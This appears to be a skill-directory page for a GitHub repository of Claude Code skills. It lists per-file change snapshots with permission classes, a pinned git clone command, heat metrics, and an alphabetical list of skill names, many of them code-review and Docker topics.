Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-ci-antipatterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-code-smells/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-docker-antipatterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-memory-issues/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-n-plus-one/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-test-smells/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-unnecessary-loops/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/diagram-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/discover-project-logs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-base-images-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-buildkit-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-compose-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-multistage-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-networking-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-orchestration-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-php-extensions-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-production-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-scanning-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-security-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/docker-troubleshooting-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/documentation-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/documentation-qa-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/eda-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/estimate-complexity/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/estimate-pipeline-time/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/event-sourcing-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/explain-business-process/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/explain-output-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/extract-business-rules/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/extract-domain-concepts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/extract-state-machine/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-boundary-issues/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-exception-issues/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-infinite-loops/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-logic-errors/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-null-pointer-issues/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-race-conditions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-resource-leaks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/find-type-issues/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/generate-bug-fix/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/generate-ci-fix/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/getting-started-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/grasp-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/hexagonal-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/identify-entry-points/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/laravel-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/layer-arch-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/map-async-flows/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/mermaid-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/message-queue-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/microservices-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/no-framework-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/observability-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-build-time/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-compose-resources/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-image-size/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-layers/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-opcache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-php-fpm/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/optimize-docker-startup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/outbox-pattern-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/psr-autoloading-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/psr-coding-style-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/psr-overview-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/readme-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/replication-sharding-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/resolve-entry-point/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/saga-pattern-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/scalability-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/scan-codebase-structure/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/solid-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/stability-patterns-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/suggest-simplification/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/suggest-testability-improvements/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/symfony-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/task-progress-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/testing-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/trace-data-transformation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/trace-request-lifecycle/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/troubleshooting-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/yii-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
Verified commit 7e1fea8899b7994073951dfd1f6a10532ddbb867
git clone --filter=blob:none --no-checkout https://github.com/dykyi-roman/awesome-claude-code.git .hotskills/dykyi-roman-awesome-claude-code && git -C .hotskills/dykyi-roman-awesome-claude-code checkout --detach 7e1fea8899b7994073951dfd1f6a10532ddbb867
# Copy each selected skill directory from .hotskills/dykyi-roman-awesome-claude-code into .claude/skills/<skill-name>/Heat
0.4- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- access-control-knowledge
skills/access-control-knowledge - adr-knowledge
skills/adr-knowledge - adr-template
skills/adr-template - analyze-ci-config
skills/analyze-ci-config - analyze-ci-logs
skills/analyze-ci-logs - analyze-coupling-cohesion
skills/analyze-coupling-cohesion - analyze-docker-build-errors
skills/analyze-docker-build-errors - analyze-docker-image-size
skills/analyze-docker-image-size - analyze-docker-runtime-errors
skills/analyze-docker-runtime-errors - analyze-php-logs
skills/analyze-php-logs - analyze-solid-violations
skills/analyze-solid-violations - analyze-test-coverage
skills/analyze-test-coverage - api-design-knowledge
skills/api-design-knowledge - api-doc-template
skills/api-doc-template - architecture-doc-template
skills/architecture-doc-template - bug-fix-knowledge
skills/bug-fix-knowledge - bug-impact-analyzer
skills/bug-impact-analyzer - bug-regression-preventer
skills/bug-regression-preventer - bug-root-cause-finder
skills/bug-root-cause-finder - caching-strategies-knowledge
skills/caching-strategies-knowledge - changelog-template
skills/changelog-template - check-12-factor-compliance
skills/check-12-factor-compliance - check-abstract-factory
skills/check-abstract-factory - check-access-control-model
skills/check-access-control-model - check-aggregate-consistency
skills/check-aggregate-consistency - check-async-patterns
skills/check-async-patterns - check-authentication
skills/check-authentication - check-authorization
skills/check-authorization - check-batch-processing
skills/check-batch-processing - check-bounded-contexts
skills/check-bounded-contexts - check-caching-strategy
skills/check-caching-strategy - check-cascading-failures
skills/check-cascading-failures - check-class-length
skills/check-class-length - check-code-style
skills/check-code-style - check-command-injection
skills/check-command-injection - check-comments
skills/check-comments - check-connection-pool
skills/check-connection-pool - check-consistency
skills/check-consistency - check-context-communication
skills/check-context-communication - check-cors-security
skills/check-cors-security - check-cqrs-alignment
skills/check-cqrs-alignment - check-crypto-usage
skills/check-crypto-usage - check-csrf-protection
skills/check-csrf-protection - check-database-scaling
skills/check-database-scaling - check-dependency-injection
skills/check-dependency-injection - check-dependency-vulnerabilities
skills/check-dependency-vulnerabilities - check-deserialization
skills/check-deserialization - check-distributed-locks
skills/check-distributed-locks - check-doc-examples
skills/check-doc-examples - check-doc-links
skills/check-doc-links - check-docker-compose-config
skills/check-docker-compose-config - check-docker-healthcheck
skills/check-docker-healthcheck - check-docker-layer-efficiency
skills/check-docker-layer-efficiency - check-docker-php-config
skills/check-docker-php-config - check-docker-production-readiness
skills/check-docker-production-readiness - check-docker-secrets
skills/check-docker-secrets - check-docker-security
skills/check-docker-security - check-docker-user-permissions
skills/check-docker-user-permissions - check-encapsulation
skills/check-encapsulation - check-fallback-strategy
skills/check-fallback-strategy - check-file-io
skills/check-file-io - check-idempotency
skills/check-idempotency - check-immutability
skills/check-immutability - check-index-usage
skills/check-index-usage - check-input-validation
skills/check-input-validation - check-insecure-design
skills/check-insecure-design - check-lazy-loading
skills/check-lazy-loading - check-leaky-abstractions
skills/check-leaky-abstractions - check-logging-failures
skills/check-logging-failures - check-magic-values
skills/check-magic-values - check-mass-assignment
skills/check-mass-assignment - check-method-length
skills/check-method-length - check-naming
skills/check-naming - check-nesting-depth
skills/check-nesting-depth - check-observability-coverage
skills/check-observability-coverage - check-output-encoding
skills/check-output-encoding - check-path-traversal
skills/check-path-traversal - check-pure-functions
skills/check-pure-functions - check-query-efficiency
skills/check-query-efficiency - check-scalability-readiness
skills/check-scalability-readiness - check-secure-headers
skills/check-secure-headers - check-sensitive-data
skills/check-sensitive-data - check-serialization
skills/check-serialization - check-side-effects
skills/check-side-effects - check-singleton-antipattern
skills/check-singleton-antipattern - check-sql-injection
skills/check-sql-injection - check-ssrf
skills/check-ssrf - check-test-quality
skills/check-test-quality - check-timeout-strategy
skills/check-timeout-strategy - check-type-juggling
skills/check-type-juggling - check-version-consistency
skills/check-version-consistency - check-xxe
skills/check-xxe - ci-pipeline-knowledge
skills/ci-pipeline-knowledge - ci-tools-knowledge
skills/ci-tools-knowledge - claude-code-knowledge
skills/claude-code-knowledge - clean-arch-knowledge
skills/clean-arch-knowledge - cloud-native-knowledge
skills/cloud-native-knowledge - code-examples-template
skills/code-examples-template - codeigniter-knowledge
skills/codeigniter-knowledge - consistency-patterns-knowledge
skills/consistency-patterns-knowledge - cqrs-knowledge
skills/cqrs-knowledge - create-access-control
skills/create-access-control - create-action
skills/create-action - create-adapter
skills/create-adapter - create-aggregate
skills/create-aggregate - create-anti-corruption-layer
skills/create-anti-corruption-layer - create-api-versioning
skills/create-api-versioning - create-bridge
skills/create-bridge - create-builder
skills/create-builder - create-bulkhead
